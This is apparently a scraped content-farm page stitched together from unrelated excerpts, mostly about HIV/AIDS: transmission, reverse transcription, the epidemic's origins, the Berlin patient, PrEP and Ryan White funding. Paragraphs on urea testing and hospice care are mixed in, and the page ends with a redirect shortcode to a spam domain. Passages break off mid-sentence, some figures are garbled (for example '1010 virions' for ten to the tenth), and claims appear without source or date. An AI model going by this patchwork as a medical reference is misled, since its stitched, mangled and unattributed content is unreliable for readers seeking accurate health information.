Urea and electrolytes: These are chemical compounds normally found in blood. Their levels are controlled by the renal system. This test is done to check on the condition of the kidneys. If the kidneys are functioning normally, then the levels of urea and creatinine will be normal. Otherwise the levels will be elevated.
The initial infection with HIV generally occurs after transfer of body fluids from an infected person to an uninfected one. The virus is carried in infected CD4 T cells, dendritic cells, and macrophages, and as a free virus in blood, semen, vaginal fluid, or milk. It is most commonly spread by sexual intercourse, contaminated needles used for intravenous drug delivery, and the therapeutic use of infected blood or blood products, although this last route of transmission has largely been eliminated in the developed world where blood products are screened routinely for the presence of HIV. An important route of virus transmission is from an infected mother to her baby at birth or through breast milk. In Africa, the perinatal transmission rate is approximately 25%, but this can largely be prevented by treating infected pregnant women with the drug zidovudine (AZT) (see Section 11-23). Mothers who are newly infected and breastfeed their infants transmit HIV 40% of the time, showing that HIV can also be transmitted in breast milk, but this is less common after the mother produces antibodies to HIV. (AIDS in Mother and Child, in Case Studies in Immunology, see Preface for details)
Near the end of life, many people have pain and other distressing symptoms (such as agitation) and usually lose their appetite. Hospice programs are particularly equipped to deal with such problems. They can provide comprehensive support and care, which focuses on managing symptoms, helping dying people maintain their independence, and supporting their caregivers.
Supporters of a approach say AIDS demands frankness. Originating in comprehensive sex ed. theory, their ideas also came from pacesetting health authorities such as former surgeon general c. everett koop. Arguing in the mid-1980s that AIDS classes should be specific and detailed and taught as early as kindergarten, Koop countered conservative arguments by saying, “Those who say ‘I don’t want my child sexually educated’ are hiding their heads in the sand.” This position holds that educators are obligated to teach kids everything that can stop the spread of the disease. “What is the moral responsibility?” Jerald Newberry, a health coordinator of Virginia schools, asked the Washington Times in 1992. “I think it’s gigantic.” Abstinence is a part of this approach, but expecting teens to refrain from having sex was considered by many to be unrealistic given some studies that show that nearly three out of four high school students have had sex before graduation. Thus, the comprehensive curriculum might well include explaining the proper use of condoms, discussing homosexual practices, describing the sterilization of drug needles, and so on.
HIV differs from many viruses in that it has very high genetic variability. This diversity is a result of its fast replication cycle, with the generation of about 1010 virions every day, coupled with a high mutation rate of approximately 3 x 10−5 per nucleotide base per cycle of replication and recombinogenic properties of reverse transcriptase.
When HIV enters a human cell, it releases its RNA, and an enzyme called reverse transcriptase makes a DNA copy of the HIV RNA. The resulting HIV DNA is integrated into the infected cell’s DNA. This process is the reverse of that used by human cells, which make an RNA copy of DNA. Thus, HIV is called a retrovirus, referring to the reversed (backward) process.
People who inject drugs can take precautions against becoming infected with HIV by using sterile injecting equipment, including needles and syringes, for each injection and not sharing drug using equipment and drug solutions. Treatment of dependence, and in particular opioid substitution therapy for people dependent on opioids, also helps reduce the risk of HIV transmission and supports adherence to HIV treatment. A comprehensive package of interventions for HIV prevention and treatment includes:
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The earliest well-documented case of HIV in a human dates back to 1959 in the Congo. The earliest retrospectively described case of AIDS is believed to have been in Norway beginning in 1966. In July 1960, in the wake its independence, the United Nations recruited Francophone experts and technicians from all over the world to assist in filling administrative gaps left by Belgium, who did not leave behind an African elite to run the country. By 1962, Haitians made up the second largest group of well-educated experts (out of the 48 national groups recruited), that totaled around 4500 in the country. Dr. Jacques Pépin, a Quebecer author of The Origins of AIDS, stipulates that Haiti was one of HIV’s entry points to the United States and that one of them may have carried HIV back across the Atlantic in the 1960s. Although the virus may have been present in the United States as early as 1966, the vast majority of infections occurring outside sub-Saharan Africa (including the U.S.) can be traced back to a single unknown individual who became infected with HIV in Haiti and then brought the infection to the United States some time around 1969. The epidemic then rapidly spread among high-risk groups (initially, sexually promiscuous men who have sex with men). By 1978, the prevalence of HIV-1 among homosexual male residents of New York City and San Francisco was estimated at 5%, suggesting that several thousand individuals in the country had been infected.
Brown is known as the Berlin patient, after the city where he became the only person ever to have been cured of H.I.V. In 2006, more than a decade after he discovered he was H.I.V.-positive, he was given an unrelated diagnosis of acute myelogenous leukemia, a cancer of the bone marrow. After initial treatment, the leukemia returned. Brown needed a bone-marrow transplant. His hematologist, Gero Huetter, made the imaginative suggestion that they use a donor with a genetic mutation that shuts down the protein CCR5, a doorway for H.I.V. into helper T cells. On February 7, 2007, Brown received the transplant. One year later, he underwent the procedure again, and by 2009 biopsies of Brown’s brain, lymph nodes, and bowel showed that the virus had not returned, and his T-cell count was back to normal.
A variety of opportunistic pathogens and cancers can kill AIDS patients. Infections are the major cause of death in AIDS, with respiratory infection with Pneumocystis carinii and mycobacteria being the most prominent. Most of these pathogens require effective (more…)
Direct cytotoxic effects of viral replication are likely not the primary cause of CD4 T-cell loss; a significant bystander effect  is likely secondary to T-cell apoptosis as part of immune hyperactivation in response to the chronic infection. Infected cells may also be affected by the immune attack.
A single case report detailed a possible cure resulting from stem-cell transplantation from a CCR5-delta32 homozygous donor (performed to treat acute myelocytic leukemia). Although this important finding is unlikely to impact routine management of HIV infection, it does suggest that reconstitution of a host immune system with a population of mutant cells is a possible avenue of research to explore. 
HIV-1 has 6 additional accessory genes: tat, rev, nef, vif, vpu, and vpr. HIV-2 does not have vpu but instead has the unique gene vpx. The only other virus known to contain the vpu gene is simian immunodeficiency virus in chimpanzees (SIVcpz), which is the simian equivalent of HIV.  Interestingly, chimpanzees with active HIV-1 infection are resistant to disease. 
In 2010, after Oprah Winfrey ran her second show about the down low, again featuring King, Dr. David J. Malebranche, a black physician and one of the country’s foremost experts on H.I.V. and black gay and bisexual men, wrote a heartfelt open letter to the talk-show host. “We are not all self-loathing, secretive, unprotected-sex-having, disease-ridden liars,” Malebranche wrote. He posted the letter on Oprah’s website, and after it was removed, posted it on his own Facebook page. People all over the world shared the post, and it received hundreds of comments.
The Siliciano laboratory occupies the eighth floor of the Miller Research Building, at the Johns Hopkins School of Medicine. The twenty-six-person research team—technicians, students, fellows, and faculty—works in an airy, open space and in a smaller Biosafety Level 3 facility on the north side of the building. There they handle the specimens of their clinic’s H.I.V.-positive subjects and many more from labs like Deeks’s worldwide. Inside a room with negative air pressure, researchers retrieve blood samples from an incubator and place them in a laminar flow hood, which draws up a stream of air. Nothing leaves the facility without being double-bagged and sterilized.
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PrEP is short for pre-exposure prophylaxis. People who do not have HIV can take a daily pill to reduce their risk of becoming infected. PrEP is not right for everyone and must still be used in combination with safer sex and injection practices. It requires commitment to treatment and does not replace other prevention measures like condom use. It also requires very regular medical visits and frequent blood tests for STDs and HIV, because unknowingly continuing PrEP medication while HIV-infected can lead to resistance and limit HIV treatment options. Resistance has already been reported in a person who became infected while taking PrEP.
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Rate of progression to AIDS and death is related to the viral load; patients with viral loads greater than 30,000/μL are 18.5 times more likely to die of AIDS than those with undetectable viral loads.
There are different variants of HIV, and the cell types that they infect are determined to a large degree by which chemokine receptor they bind as co-receptor. The variants of HIV that are associated with primary infections use CCR5, which binds the CC chemokines RANTES, MIP-1α, and MIP-1β (see Chapter 2), as a co-receptor, and require only a low level of CD4 on the cells they infect. These variants of HIV infect dendritic cells, macrophages, and T cells in vivo. However, they are often described simply as ‘macrophage-tropic’ because they infect macrophage but not T-cell lines in vitro and the cell tropism of different HIV variants was originally defined by their ability to grow in different cell lines.
June Gipson, president and chief executive of My Brother’s Keeper, the Jackson nonprofit Cedric Sturdevant works for, believes that the repeal of the Affordable Care Act wouldn’t have an immediate catastrophic effect in her state — but only because things are already so dire. Like most of the South, Mississippi refused Medicaid expansion, and nearly half of its citizens who are living with H.I.V. rely on the Ryan White H.I.V./AIDS Program to stay alive. Named for an Indiana teenager who contracted H.I.V. through a blood transfusion in the ’80s, this federal program provides funding for H.I.V. treatment and care for those who have no other way to finance their medication. If the A.C.A. is repealed, Gipson said, “it just means that the entire country becomes Mississippi.” [redirect url=’http://penetratearticles.info/bump’ sec=’7′]